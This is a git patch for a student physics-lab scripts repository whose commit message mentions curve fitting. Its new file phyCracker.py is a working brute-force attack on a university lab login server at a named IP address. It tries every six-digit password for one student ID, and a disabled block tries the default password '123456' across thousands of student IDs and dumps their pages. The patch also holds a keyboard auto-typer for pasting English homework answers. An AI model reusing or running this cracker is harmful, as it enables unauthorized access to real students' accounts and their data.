From 57fedb67cb3df2306935bd990a598cc032ac0aed Mon Sep 17 00:00:00 2001
From: Recolic Keghart <root@recolic.net>
Date: Tue, 5 Dec 2017 12:25:17 +0800
Subject: [PATCH] Add polynomial curl fitting.

---
 .vscode/settings.json               |   3 +
 .vscode/tags                        | 172 ++++++++++++++++++++++++++++
 __pycache__/quickmap.cpython-36.pyc | Bin 1747 -> 2519 bytes
 input/2                             |   1 +
 input/5.dat                         |   1 +
 input/aa                            |   1 +
 input/d                             |   1 +
 input/en.py                         |  24 ++++
 input/ff                            |   1 +
 input/sound-converted.dat           |   1 -
 phyCracker.py                       |  79 +++++++++++++
 phySpider.py                        |  24 ++--
 quickmap.py                         |  52 +++++----
 test.py                             |   8 ++
 14 files changed, 335 insertions(+), 33 deletions(-)
 create mode 100644 .vscode/settings.json
 create mode 100644 .vscode/tags
 create mode 100644 input/2
 create mode 100644 input/5.dat
 create mode 100644 input/aa
 create mode 100644 input/d
 create mode 100755 input/en.py
 create mode 100644 input/ff
 create mode 100644 phyCracker.py
 create mode 100644 test.py

diff --git a/.vscode/settings.json b/.vscode/settings.json
new file mode 100644
index 0000000..615aafb
--- /dev/null
+++ b/.vscode/settings.json
@@ -0,0 +1,3 @@
+{
+    "python.pythonPath": "/usr/bin/python3"
+}
\ No newline at end of file
diff --git a/.vscode/tags b/.vscode/tags
new file mode 100644
index 0000000..af09553
--- /dev/null
+++ b/.vscode/tags
@@ -0,0 +1,172 @@
+!_TAG_FILE_FORMAT	2	/extended format; --format=1 will not append ;" to lines/
+!_TAG_FILE_SORTED	1	/0=unsorted, 1=sorted, 2=foldcase/
+!_TAG_PROGRAM_AUTHOR	Darren Hiebert	/dhiebert@users.sourceforge.net/
+!_TAG_PROGRAM_NAME	Exuberant Ctags	//
+!_TAG_PROGRAM_URL	http://ctags.sourceforge.net	/official site/
+!_TAG_PROGRAM_VERSION	5.8	//
+DrawPoint.py	../DrawPoint.py	1;"	kind:file	line:1
+GetMap	../quickmap.py	/^def GetMap(parrX, parrY, windowX = 12, windowY = 8, line = False, passO = False):$/;"	kind:function	line:11
+GetMap	../sound/quickmap.py	/^def GetMap(parrX, parrY, windowX = 12, windowY = 8, line = False, passO = False):$/;"	kind:function	line:11
+GetMap	../va/quickmap.py	/^def GetMap(parrX, parrY, windowX = 12, windowY = 8, line = False, passO = False):$/;"	kind:function	line:11
+HallEffect.py	../hall/HallEffect.py	1;"	kind:file	line:1
+HallEffect2.py	../hall/HallEffect2.py	1;"	kind:file	line:1
+I	../va/va.py	/^I=[itrue\/150*float(sys.argv[3]) for itrue in Iraw]$/;"	kind:variable	line:11
+Imax	../hall/HallEffect.py	/^Imax = 5 # Maybe you need to change it to 0.5 for Im$/;"	kind:variable	line:11
+PyKeyboard	../input/dataInput.py	/^print('from pykeyboard import PyKeyboard')$/;"	kind:namespace	line:15
+PyKeyboard	../input/en.py	/^print('from pykeyboard import PyKeyboard')$/;"	kind:namespace	line:14
+PyKeyboard	../sound/dataInput.py	/^print('from pykeyboard import PyKeyboard')$/;"	kind:namespace	line:15
+U	../va/va.py	/^U=[utrue\/100*float(sys.argv[2]) for utrue in Uraw]$/;"	kind:variable	line:10
+_dump	../phyCracker.py	/^def _dump(sid,pswd):$/;"	kind:function	line:9
+ar	../input/dataInput.py	/^        ar=dataset #fuck numpy......$/;"	kind:variable	line:21
+ar	../input/en.py	/^ar=fd.read().replace('\\n','').replace('\\'','\\\\\\'').replace('’','\\\\\\'').split(sys.argv[2])$/;"	kind:variable	line:10
+ar	../sound/dataInput.py	/^        ar=dataset #fuck numpy......$/;"	kind:variable	line:21
+b	../hall/HallEffect2.py	/^    b = 4$/;"	kind:variable	line:100
+b	../hall/HallEffect2.py	/^b=toFloat(input('b(mm) 4.00 ?>'))$/;"	kind:variable	line:94
+c6	../hall/HallEffect2.py	/^c6 = k * l * 10 \/ (b * d)$/;"	kind:variable	line:106
+crackOneAccount	../phyCracker.py	/^def crackOneAccount(sid, rangeGen=range(1000000)):$/;"	kind:function	line:61
+d	../hall/HallEffect.py	/^d=toFloat(input('d(mm) 0.500 ?>'))$/;"	kind:variable	line:94
+d	../hall/HallEffect2.py	/^d=toFloat(input('d(mm) 0.500 ?>'))$/;"	kind:variable	line:93
+dat	../va/va.py	/^dat=numpy.loadtxt(sys.argv[1], delimiter=' ')$/;"	kind:variable	line:8
+dataInput.py	../input/dataInput.py	1;"	kind:file	line:1
+dataInput.py	../sound/dataInput.py	1;"	kind:file	line:1
+dataset	../input/dataInput.py	/^dataset=numpy.loadtxt(sys.argv[1], delimiter=' ')$/;"	kind:variable	line:13
+dataset	../sound/dataInput.py	/^dataset=numpy.loadtxt(sys.argv[1], delimiter=' ')$/;"	kind:variable	line:13
+doLogin	../phySpider.py	/^def doLogin():$/;"	kind:function	line:30
+doTest	../phySpider.py	/^def doTest(expNum, weekNum, cookieStr):$/;"	kind:function	line:41
+draw	../va/va.py	/^from quickmap import GetMap as draw$/;"	kind:namespace	line:4
+dumpWebpage	../phySpider.py	/^def dumpWebpage(content, filePath):$/;"	kind:function	line:36
+en.py	../input/en.py	1;"	kind:file	line:1
+errorPageDump	../phySpider.py	/^errorPageDump = '\/home\/recolic\/tmp\/phySpiderDump.html'$/;"	kind:variable	line:15
+experimentNumberDict	../phySpider.py	/^experimentNumberDict = {$/;"	kind:variable	line:18
+experimentNumberList	../phySpider.py	/^experimentNumberList = [52,53,54,55,56,57,58,59]$/;"	kind:variable	line:12
+fail	../phyCracker.py	/^fail=0$/;"	kind:variable	line:72
+farr	../hall/HallEffect.py	/^        farr = [abs(float(v)) for v in sarr]$/;"	kind:variable	line:30
+farr	../hall/HallEffect.py	/^        farr = [abs(float(v)) for v in sarr]$/;"	kind:variable	line:51
+farr	../hall/HallEffect.py	/^    farr = fcont.split('\\n')$/;"	kind:variable	line:19
+farr	../hall/HallEffect2.py	/^        farr = [abs(float(v)) for v in sarr]$/;"	kind:variable	line:29
+farr	../hall/HallEffect2.py	/^        farr = [abs(float(v)) for v in sarr]$/;"	kind:variable	line:50
+farr	../hall/HallEffect2.py	/^    farr = fcont.split('\\n')$/;"	kind:variable	line:18
+fcont	../hall/HallEffect.py	/^    fcont = fd.read()$/;"	kind:variable	line:17
+fcont	../hall/HallEffect2.py	/^    fcont = fd.read()$/;"	kind:variable	line:16
+fd	../hall/HallEffect.py	/^    fd = open(sys.argv[1])$/;"	kind:variable	line:16
+fd	../hall/HallEffect2.py	/^    fd = open(sys.argv[1])$/;"	kind:variable	line:15
+fd	../input/en.py	/^fd=open(sys.argv[1],'r')$/;"	kind:variable	line:9
+gsa	../hall/HallEffect.py	/^gsa=toFloat(input('B\/Im(KGS\/A) >'))$/;"	kind:variable	line:95
+hallC	../hall/HallEffect.py	/^hallC = k * d * 1e4 \/ (im * gsa) # KGs and mm$/;"	kind:variable	line:104
+im	../hall/HallEffect.py	/^    im = 0.45$/;"	kind:variable	line:103
+im	../hall/HallEffect.py	/^im=toFloat(input('Im(A) 0.450 ?>'))$/;"	kind:variable	line:96
+kb0	../hall/HallEffect.py	/^kb0 = [1,0]$/;"	kind:variable	line:67
+kb0	../hall/HallEffect2.py	/^kb0 = [10,0]$/;"	kind:variable	line:66
+kb0	../oil/oil0.py	/^kb0 = [10,0]$/;"	kind:variable	line:28
+kbFinal	../hall/HallEffect.py	/^kbFinal = leastsq(lossFunc, kb0, args=(I, V))$/;"	kind:variable	line:68
+kbFinal	../hall/HallEffect2.py	/^kbFinal = leastsq(lossFunc, kb0, args=(V, I))$/;"	kind:variable	line:67
+kbFinal	../oil/oil0.py	/^kbFinal = leastsq(lossFunc, kb0, args=(V, I))$/;"	kind:variable	line:29
+l	../hall/HallEffect2.py	/^    l = 3$/;"	kind:variable	line:102
+l	../hall/HallEffect2.py	/^l=toFloat(input('l(mm) 3.00 ?>'))$/;"	kind:variable	line:95
+leastsq	../hall/HallEffect.py	/^from scipy.optimize import leastsq$/;"	kind:namespace	line:7
+leastsq	../hall/HallEffect2.py	/^from scipy.optimize import leastsq$/;"	kind:namespace	line:7
+leastsq	../oil/oil0.py	/^from scipy.optimize import leastsq$/;"	kind:namespace	line:7
+leastsq	../quickmap.py	/^from scipy.optimize import leastsq$/;"	kind:namespace	line:7
+leastsq	../sound/quickmap.py	/^from scipy.optimize import leastsq$/;"	kind:namespace	line:7
+leastsq	../va/quickmap.py	/^from scipy.optimize import leastsq$/;"	kind:namespace	line:7
+lineFunc	../hall/HallEffect.py	/^def lineFunc(kb, i):$/;"	kind:function	line:60
+lineFunc	../hall/HallEffect2.py	/^def lineFunc(kb, v):$/;"	kind:function	line:59
+lineFunc	../oil/oil0.py	/^def lineFunc(kb, v):$/;"	kind:function	line:21
+lineFunc	../quickmap.py	/^    def lineFunc(kb, v):$/;"	kind:function	line:21
+lineFunc	../sound/quickmap.py	/^    def lineFunc(kb, v):$/;"	kind:function	line:21
+lineFunc	../va/quickmap.py	/^    def lineFunc(kb, v):$/;"	kind:function	line:21
+lossFunc	../hall/HallEffect.py	/^lossFunc = lambda kb, i, v : lineFunc(kb, i) - v$/;"	kind:variable	line:64
+lossFunc	../hall/HallEffect2.py	/^lossFunc = lambda kb, v, i : lineFunc(kb, v) - i$/;"	kind:variable	line:63
+lossFunc	../oil/oil0.py	/^lossFunc = lambda kb, v, i : lineFunc(kb, v) - i$/;"	kind:variable	line:25
+m_cookie	../phySpider.py	/^                m_cookie=m_cookie[0:len(m_cookie)-2]$/;"	kind:variable	line:99
+m_cookie	../phySpider.py	/^            m_cookie = cookieFile.readline()$/;"	kind:variable	line:97
+m_cookie	../phySpider.py	/^        m_cookie = input()$/;"	kind:variable	line:102
+m_cookie	../phySpider.py	/^    m_cookie = doLogin()$/;"	kind:variable	line:105
+matplotlib	../DrawPoint.py	/^import matplotlib.pyplot as plt$/;"	kind:namespace	line:2
+matplotlib	../hall/HallEffect.py	/^import matplotlib.pyplot as plt$/;"	kind:namespace	line:8
+matplotlib	../hall/HallEffect2.py	/^import matplotlib.pyplot as plt$/;"	kind:namespace	line:8
+matplotlib	../oil/oil0.py	/^import matplotlib.pyplot as plt$/;"	kind:namespace	line:8
+matplotlib	../quickmap.py	/^import matplotlib.pyplot as plt$/;"	kind:namespace	line:8
+matplotlib	../sound/quickmap.py	/^import matplotlib.pyplot as plt$/;"	kind:namespace	line:8
+matplotlib	../va/quickmap.py	/^import matplotlib.pyplot as plt$/;"	kind:namespace	line:8
+n	../hall/HallEffect.py	/^n = 1 \/ (hallC * 1.6021766208e-19)$/;"	kind:variable	line:105
+numpy	../DrawPoint.py	/^import numpy$/;"	kind:namespace	line:1
+numpy	../hall/HallEffect.py	/^import numpy, sys$/;"	kind:namespace	line:6
+numpy	../hall/HallEffect2.py	/^import numpy, sys$/;"	kind:namespace	line:6
+numpy	../input/dataInput.py	/^import numpy$/;"	kind:namespace	line:12
+numpy	../oil/oil0.py	/^import numpy, sys$/;"	kind:namespace	line:6
+numpy	../quickmap.py	/^import numpy$/;"	kind:namespace	line:6
+numpy	../sound/dataInput.py	/^import numpy$/;"	kind:namespace	line:12
+numpy	../sound/quickmap.py	/^import numpy$/;"	kind:namespace	line:6
+numpy	../va/quickmap.py	/^import numpy$/;"	kind:namespace	line:6
+numpy	../va/va.py	/^import numpy$/;"	kind:namespace	line:2
+oil0.py	../oil/oil0.py	1;"	kind:file	line:1
+oneLine	../input/dataInput.py	/^        oneLine=True$/;"	kind:variable	line:22
+oneLine	../input/dataInput.py	/^oneLine=False$/;"	kind:variable	line:18
+oneLine	../sound/dataInput.py	/^        oneLine=True$/;"	kind:variable	line:22
+oneLine	../sound/dataInput.py	/^oneLine=False$/;"	kind:variable	line:18
+parse	../phyCracker.py	/^import urllib.request, urllib.parse$/;"	kind:namespace	line:5
+parse	../phySpider.py	/^import urllib.parse, urllib.request$/;"	kind:namespace	line:6
+phyCracker.py	../phyCracker.py	1;"	kind:file	line:1
+phySpider.py	../phySpider.py	1;"	kind:file	line:1
+plt	../DrawPoint.py	/^import matplotlib.pyplot as plt$/;"	kind:namespace	line:2
+plt	../hall/HallEffect.py	/^import matplotlib.pyplot as plt$/;"	kind:namespace	line:8
+plt	../hall/HallEffect2.py	/^import matplotlib.pyplot as plt$/;"	kind:namespace	line:8
+plt	../oil/oil0.py	/^import matplotlib.pyplot as plt$/;"	kind:namespace	line:8
+plt	../quickmap.py	/^import matplotlib.pyplot as plt$/;"	kind:namespace	line:8
+plt	../sound/quickmap.py	/^import matplotlib.pyplot as plt$/;"	kind:namespace	line:8
+plt	../va/quickmap.py	/^import matplotlib.pyplot as plt$/;"	kind:namespace	line:8
+px	../DrawPoint.py	/^px=numpy.linspace(0,65,1000)$/;"	kind:variable	line:16
+px	../hall/HallEffect.py	/^px=numpy.linspace(0,Imax,1000)$/;"	kind:variable	line:78
+px	../hall/HallEffect2.py	/^px=numpy.linspace(0,100,1000)$/;"	kind:variable	line:77
+px	../oil/oil0.py	/^px=numpy.linspace(0,maxX,1000)$/;"	kind:variable	line:39
+py	../hall/HallEffect.py	/^py=k*px+b$/;"	kind:variable	line:79
+py	../hall/HallEffect2.py	/^py=k*px+b$/;"	kind:variable	line:78
+py	../oil/oil0.py	/^py=k*px+b$/;"	kind:variable	line:40
+quickmap.py	../quickmap.py	1;"	kind:file	line:1
+quickmap.py	../sound/quickmap.py	1;"	kind:file	line:1
+quickmap.py	../va/quickmap.py	1;"	kind:file	line:1
+rcParams	../DrawPoint.py	/^from matplotlib import rcParams$/;"	kind:namespace	line:3
+rcParams	../hall/HallEffect.py	/^from matplotlib import rcParams$/;"	kind:namespace	line:9
+rcParams	../hall/HallEffect2.py	/^from matplotlib import rcParams$/;"	kind:namespace	line:9
+rcParams	../oil/oil0.py	/^from matplotlib import rcParams$/;"	kind:namespace	line:9
+rcParams	../quickmap.py	/^from matplotlib import rcParams$/;"	kind:namespace	line:9
+rcParams	../sound/quickmap.py	/^from matplotlib import rcParams$/;"	kind:namespace	line:9
+rcParams	../va/quickmap.py	/^from matplotlib import rcParams$/;"	kind:namespace	line:9
+request	../phyCracker.py	/^import urllib.request, urllib.parse$/;"	kind:namespace	line:5
+request	../phySpider.py	/^import urllib.parse, urllib.request$/;"	kind:namespace	line:6
+rh	../hall/HallEffect2.py	/^rh=toFloat(input('RH(Calculated by HallEffect.py) ?>'))$/;"	kind:variable	line:96
+s	../hall/HallEffect.py	/^        s = input('>')$/;"	kind:variable	line:41
+s	../hall/HallEffect2.py	/^        s = input('>')$/;"	kind:variable	line:40
+sarr	../hall/HallEffect.py	/^        sarr = s.split(' ')$/;"	kind:variable	line:26
+sarr	../hall/HallEffect.py	/^        sarr = s.split(' ')$/;"	kind:variable	line:47
+sarr	../hall/HallEffect2.py	/^        sarr = s.split(' ')$/;"	kind:variable	line:25
+sarr	../hall/HallEffect2.py	/^        sarr = s.split(' ')$/;"	kind:variable	line:46
+success	../phyCracker.py	/^success=0$/;"	kind:variable	line:71
+sys	../hall/HallEffect.py	/^import numpy, sys$/;"	kind:namespace	line:6
+sys	../hall/HallEffect2.py	/^import numpy, sys$/;"	kind:namespace	line:6
+sys	../input/dataInput.py	/^import sys$/;"	kind:namespace	line:7
+sys	../input/en.py	/^import sys$/;"	kind:namespace	line:4
+sys	../oil/oil0.py	/^import numpy, sys$/;"	kind:namespace	line:6
+sys	../phySpider.py	/^import sys$/;"	kind:namespace	line:7
+sys	../sound/dataInput.py	/^import sys$/;"	kind:namespace	line:7
+sys	../va/va.py	/^import sys$/;"	kind:namespace	line:3
+time	../input/dataInput.py	/^print('import time')$/;"	kind:namespace	line:16
+time	../input/en.py	/^print('import time')$/;"	kind:namespace	line:15
+time	../sound/dataInput.py	/^print('import time')$/;"	kind:namespace	line:16
+toFloat	../hall/HallEffect.py	/^def toFloat(sstr):$/;"	kind:function	line:85
+toFloat	../hall/HallEffect2.py	/^def toFloat(sstr):$/;"	kind:function	line:84
+toFloat	../oil/oil0.py	/^def toFloat(sstr):$/;"	kind:function	line:46
+toFloat	../quickmap.py	/^    def toFloat(sstr):$/;"	kind:function	line:53
+toFloat	../sound/quickmap.py	/^    def toFloat(sstr):$/;"	kind:function	line:53
+toFloat	../va/quickmap.py	/^    def toFloat(sstr):$/;"	kind:function	line:53
+tryDump	../phyCracker.py	/^def tryDump(sid):$/;"	kind:function	line:57
+u	../hall/HallEffect2.py	/^u = c6 * rh$/;"	kind:variable	line:107
+urllib	../phyCracker.py	/^import urllib.request, urllib.parse$/;"	kind:namespace	line:5
+urllib	../phySpider.py	/^import urllib.parse, urllib.request$/;"	kind:namespace	line:6
+va.py	../va/va.py	1;"	kind:file	line:1
+weekNumberList	../phySpider.py	/^weekNumberList = [12,13,14,15,16,17]$/;"	kind:variable	line:11
+x	../DrawPoint.py	/^x=xrc$/;"	kind:variable	line:7
+xrc	../DrawPoint.py	/^xrc=[0.0, 2.0, 4.0, 10.0, 20.0, 22.0, 25.0, 30.0, 33.0, 35.0, 37.0, 38.0, 38.5, 39.0, 39.6, 40.0, 40.5, 41.0, 43.0, 44.0, 45.0, 46.0, 47.0, 48.0, 49.0, 50.0, 53.0, 55.0, 60.0]$/;"	kind:variable	line:6
+y	../DrawPoint.py	/^y=[abs(yi) for yi in yrc]$/;"	kind:variable	line:8
+yrc	../DrawPoint.py	/^yrc=[-6.77, -6.78, -6.78, -6.76, -6.73, -6.73, -6.72, -6.70, -6.69, -6.67, -6.60, -6.45, -6.37, -6.20, -5.99, -5.77, -5.45, -5.07, -3.52, -2.87, -2.36, -2.08, -1.77, -1.55, -1.40, -1.26, -0.97, -0.84, -0.64]$/;"	kind:variable	line:5
diff --git a/__pycache__/quickmap.cpython-36.pyc b/__pycache__/quickmap.cpython-36.pyc
index 93010c0d256ca909763358e61f48997018e88c3b..5941b8d85c574f82e1cb81064e894656e422ef5d 100644
GIT binary patch
literal 2519
zcmb7FTTk3Z6rLH|yWT4h2#`w?H)?3NYL-Z?5-Ec8Mu{plGzwA!R-?*z%wq7`W;|P1
z%YNx1K^`KtkL@pLe@g#?U;9#iLV4;rV*(^<RdwW<GuLyDzw@1$4_mGJ^vyZ@uPPyb
zkPD>({ZF7K*l@yWKx~vOpnYaDTFz<Px^2L$7F7CGy9%>9Hx7tx@+PnI#sRf!oUW2i
z>ln0<l@2Ycf#)PL*@dnt+$WB3`iaYM6^e0MKL?pSg+`K$j3~5pM0YeXCn={HI00jw
z63MtWqCZfs=WPF$)H2-1mdNv|Z&|M8dd4y>)2GONlC#}=&q&6=6=Nm6{Dlyacwjx-
z@&nKM-j$B!Csx|BoRH&iLk+L<NcIPT^sUhIcwz-!=va%3C^x!-f_ELg&|p*;vG7A#
z)W30pfv0pATI$Cg!`4CDr>gzT)|@aYs8i65--xKg@sr#0TT$Pe7oHmhzB}(m+?$Vw
z^YPYjes|!zJAEha#>1ikjyy(3;$YZ7WZKXWI!@cvq&l5~o@m0%v1&~0p?AwJcCk!C
zh4>N;YO)4v65=_c6u`|WBe|K^B+bkbMX>TZtg_7HT2@maLrih6WZN3<QL;9|bB(-t
zNDtX2;|8xBm@mj7*`&P6%>y%UWrp~b*LeMaNd1WN#tZ~<32NTv%?#=Skw(_a+F2uO
zf`-;h4T3h7kAwAgHZ}r=g(mdJ&^8~J6+W>*_$82&Ag4fH1`XA16N3!rr(dFv)$JPU
z<1>7gU*T6@8t{+Ck5qgFUf02HonISiFErW6#tt>`^*Z=xzV6?M<rAQ%d8B0%{4IWi
z-z@dOTx&#>jrOS=L&+`v_5sN+aRTJJwUS<a<b|H_-8+vw`PhlAjiL3l3~)DXu15o5
z`C&Ye53CcKrSC5}Kt2e6;JMO|LW@VC*R_-iNBUvU5?%tK?{>RqNrF+-p<+~%yU-}q
zDQEB}1d!IwkY-0r%yCEqt^-z(I2jw2Dc~YOuwdq$DVu^p4@mL6nbRYn#w7WP?dq!~
zTNPzHtYF={K=^3S6Oh7mUrh_7<w<=Z@Du4q{rKTc7$>N^LedXPAi4`d<T^p}up9WH
zw>${l^O^I5Vhj$I$;ApoIAPCI-0o-v-4Xc9Dx228ky_u`UweX%fIm)>eBGgHgL0-Y
zUs<_<uBc3)S0P(Wn$G^4LoPy#1tnGmF=iW}q3)K9&0?78N{NOhreRT8E$9&JU%?^f
z_A4i%B*9;O2c{CJ<R6TmZh0*vXnYmVj6<VBV&;^eh6C&<l+aFxi3tz|{jM~7W?Nt|
z--G%p48Tj|<9~oo3*8aDB%N6HrG*flGID1zy}cxyJ)|UDOV*w*x1xcxHhrmR>Zr{?
z(-V3pZTE!FRhSbw3_M%kfO|2mt6AWBBznL6jOF)_FKpfOx!medySnN35<m59O?W(Q
zt~&h~F6k!`+_1+8OGmQ}rNlM@XTuBZ8oH@Y`+vfQ*Kqt_)K*A}OK5`@EWSW(1?K&8
zFzrgDsF^kaCiVYcfe*(>_%rjEVK||}I13$kx9AQNO%5qozH6)Shyt6ml>%aXTEMii
z8AOf*DD)(e;*Gc#RT(Yg`XU@i@RcU`3b1tM&G??~>x>J0RtpW%r7*%lKOWkKBZM;)
zmtkI@j{<=$v^bD<1>heD&#oq}Bc&&7Or#`s+%gYsJq{w+6?i=_<hG761wXf<z0RZ!
zX(+^6Dc0=<kcCHks}Rezi-Yx|;q6N}z4p|RUZG?71Og;xps|5}paa`=TgMbHD17VU
z8ZH_;Uxq%I-&yuUClJ@sZ59s&=2w}LdYOZ$s#I!W5AUa<QX+(jk=%m@fveM|hR^6U
zYgd|@PN%U?o6OWq=$Y`ePSFZHv=&G;!^9mp*{O&Y2!VHlO2*}7B|3F62UB)Cas7DM
zjbiEd;r|uL_C(*2h+g1tz_VWBSW59O9;%<OtAMDBPno;GfwKfJ%!Pi$2Z8qxNs!>Y
LNt^gX%&h$lU4ln>

delta 1154
zcmYimO>f*pbe`?CXT9FfxJkNgNZM2?OVt*sE#k1GoLu!lIYdHPiv!*rXXC_cuf`5(
zqOtanNG*p*jr=R%FYq%sAkCEvITs0u6K}jl#nStn_x)!4`^s<4?I+Eq{daeJv}qFZ
z2l?M;ApbQ&_T|;~qjsHHj9!3G8SIjQeRZ(0xOVXLnj-Qh=v;j+Vhce>$UGn<Ck)O3
zh#&$qQkaF6gD}s5X)Zy|LQZ!Hp3tI>wuUfS4YdX+Pqag-9qP)XqG*q{cF}kPi+!kS
zqCb&01o=9%FKFQiga5)B%$aIMGdF}In!*;1eT_9Q^`a$O%(+Rv*NS%0!2~VQW^K_?
z=@N=^M<rz4yvBM%!d8&FNN*rr9g^HUw1g&fjJ0+NuuuxBg0ppYll9rH%Nq7+yaRq0
zYppX!P<H!VFS?>Fx-Jo&HB$7@#}-}DV;k%fwz>2{UE`c!r{<yafi@LoTkOsSDOMQ4
zk>7oF)_)NuA&({xUxfKLLHUE;>`k9k-}~p&YW(D{=jBZI_SNn*gcY@hdx(VUSu6Cn
zguB=SxEOLtg}#P-l>%P<Oa_M3j>ZyxlyD?rJOEjn2U+$lS6lsO>+wN43m@}vlE%@b
zd<Sly#!(V_$I0Y|%B5}t0SX3Ct$c5IyUJ~#bEW5XL=vI_@RkzQ5pOCT9mc_I%z~ZU
zC}jxbY`yAn{%9DdlOWD^kXf2s+ofgRu|{8=>3drb%FoQJRauLJaTv?GD&-_%`9buj
zPReIivR>u*n8?agFHVE}S^2B=>8%#_#-k*c`Yd=YYsv9!ekyAL=fP<SbZa41Z`nMU
zguXG4(_ETyI1Ll#8&e)JX=DfK$-wn-K%DO_$;h`(qJ*U<d;c*bX{fTedMv(CSt>m8
z4NSUM;gN*zB)s%#oMxFCrLP~2Klc~b(b$WUAm%pu@`eha&0kAxe#-kwQ_WUe4pW6+
z4%1vtPMK$4AX4kFp>MR1u7YDZIxYu#;6O*CIz^sB2V5|rg*vyAsmAXUe9HratE<Fo
zh&*pl=Nsj2{prh16n%RZ<Z3E$H0J8LqsNDumYe-Jbvm4->^Kg0)L){yA`~;(;AsB>
Dw#))^

diff --git a/input/2 b/input/2
new file mode 100644
index 0000000..4a98a88
--- /dev/null
+++ b/input/2
@@ -0,0 +1 @@
+fashionable clothes, trends, copied, traditional center, are guarded, July, great numbers, a high price, starting point, only a part
diff --git a/input/5.dat b/input/5.dat
new file mode 100644
index 0000000..cedac8c
--- /dev/null
+++ b/input/5.dat
@@ -0,0 +1 @@
+looks funny, looks fine, out of fashion, good on her, out-dated, following the fashion trends, no wonder
diff --git a/input/aa b/input/aa
new file mode 100644
index 0000000..73127bc
--- /dev/null
+++ b/input/aa
@@ -0,0 +1 @@
+new clothes, full of clothes, university tuition, clothes in fashion, the Middle Ages, part-time job, not too expensive
diff --git a/input/d b/input/d
new file mode 100644
index 0000000..1b85a8b
--- /dev/null
+++ b/input/d
@@ -0,0 +1 @@
+different and daring, Teenagers, their legs, shorter and shorter, five inches, loose morals, never appear, look childlike, women’s liberation, traditional
diff --git a/input/en.py b/input/en.py
new file mode 100755
index 0000000..75e9e39
--- /dev/null
+++ b/input/en.py
@@ -0,0 +1,24 @@
+#!/bin/env python
+# It helps me to copy English answer really quick!
+
+import sys
+if len(sys.argv) < 3:
+    print('Usage: ./dataInput.py /path/to/dat/file \'delimiter\' | python')
+    exit(123)
+
+fd=open(sys.argv[1],'r')
+ar=fd.read().replace('\n','').replace('\'','\\\'').replace('’','\\\'').split(sys.argv[2])
+fd.close()
+
+print('#!/bin/env python3')
+print('from pykeyboard import PyKeyboard')
+print('import time')
+print('k=PyKeyboard()')
+print('print(\'Waiting for 5 second... Please be ready for auto-typing.\')')
+print('time.sleep(5)')
+for i in ar:
+    if len(i) == 0:
+        continue
+    print('k.type_string(\''+i+'\')')
+    print('k.tap_key(k.tab_key)')
+
diff --git a/input/ff b/input/ff
new file mode 100644
index 0000000..94d9bbb
--- /dev/null
+++ b/input/ff
@@ -0,0 +1 @@
+nervous, afraid, first time, locker, blanket, come out, wore
diff --git a/input/sound-converted.dat b/input/sound-converted.dat
index d9c87a9..2e6073a 100644
--- a/input/sound-converted.dat
+++ b/input/sound-converted.dat
@@ -1,2 +1 @@
 36837 37258 36845 37345 36870 37283 36855 37327 36843 37261
-3.54 4.37 8.26 25.9 13.2 47.7 17.7 66.95 22.46 87.16 27.14 108.6 32.06 129.9 36.68 150.8 41.48 173.35 46.3 194.69 50.86 217.16 55.8 239.56
diff --git a/phyCracker.py b/phyCracker.py
new file mode 100644
index 0000000..007c755
--- /dev/null
+++ b/phyCracker.py
@@ -0,0 +1,79 @@
+#!/bin/env python3
+# -*- coding: UTF-8 -*-
+
+# from http import cookies
+import urllib.request, urllib.parse
+
+cookie='ASPSESSIONIDQSCRDTDT=BDILIEMCJBBJKOBMFFHODGLJ'
+
+def _dump(sid,pswd):
+    logData=urllib.parse.urlencode({
+        'xsxh':sid, 
+        'mm':pswd, 
+        'Login':'%B5%C7%C2%BC'
+    }).encode('utf-8')
+    req=urllib.request.Request('http://115.156.233.249/login.asp', headers={
+        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
+        'Accept-Encoding':'gzip, deflate',
+        'Accept-Language':'en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4',
+        'Cache-Control':'no-cache',
+        'Connection':'keep-alive',
+        'Content-Length':'43',
+        'Content-Type':'application/x-www-form-urlencoded',
+        'Cookie':cookie,
+        'Host':'115.156.233.249',
+        'Origin':'http://115.156.233.249',
+        'Pragma':'no-cache',
+        'Referer':'http://115.156.233.249/login.asp',
+        'Upgrade-Insecure-Requests':'1',
+        'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'
+    })
+    resp=urllib.request.urlopen(req, data=logData)
+    respstr=resp.read().decode('utf-8', errors = 'backslashreplace')
+    if len(respstr) < 5000:
+        print('<div align="center"> Login failed.')
+        return False
+    print('<div align="center"> Login done.')
+    
+    req=urllib.request.Request('http://115.156.233.249/TongZhi.asp', headers={
+        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
+        'Accept-Encoding':'gzip, deflate',
+        'Accept-Language':'en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4',
+        'Cache-Control':'no-cache',
+        'Connection':'keep-alive',
+        'Cookie':cookie,
+        'Host':'115.156.233.249',
+        'Origin':'http://115.156.233.249',
+        'Pragma':'no-cache',
+        'Referer':'http://115.156.233.249/login.asp',
+        'Upgrade-Insecure-Requests':'1',
+        'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36'
+    })
+    resp=urllib.request.urlopen(req)
+    respstr=resp.read().decode('gb2312', errors = 'backslashreplace')
+    print(respstr, len(respstr))
+    return True
+
+def tryDump(sid):
+    print('<div align="center"> -----Dumping', sid)
+    return _dump(sid,'123456')
+
+def crackOneAccount(sid, rangeGen=range(1000000)):
+    for i in rangeGen:
+        psw=str(i).zfill(6)
+        print('Testing', psw, '...')
+        if _dump(sid,psw):
+            print('Done. password='+psw)
+
+crackOneAccount('201614531', range(800000, 1000000))
+exit(0)
+####
+success=0
+fail=0
+for i in range(201610001, 201617174):
+    if tryDump(str(i)):
+        success+=1
+    else:
+        fail+=1
+print('<div align="center"> Done. Success', success, 'Fail', fail)
+
diff --git a/phySpider.py b/phySpider.py
index f1d86ab..053b63e 100644
--- a/phySpider.py
+++ b/phySpider.py
@@ -6,20 +6,24 @@
 import urllib.parse, urllib.request
 import sys
 
-weekNumberList = [14,15,16,17,18]
-experimentNumberList = [37,38,39,40,41,42,43,44]
+#weekNumberList = [14,15,16,17,18]
+#experimentNumberList = [37,38,39,40,41,42,43,44]
+weekNumberList = [12,13,14,15,16,17]
+experimentNumberList = [52,53,54,55,56,57,58,59]
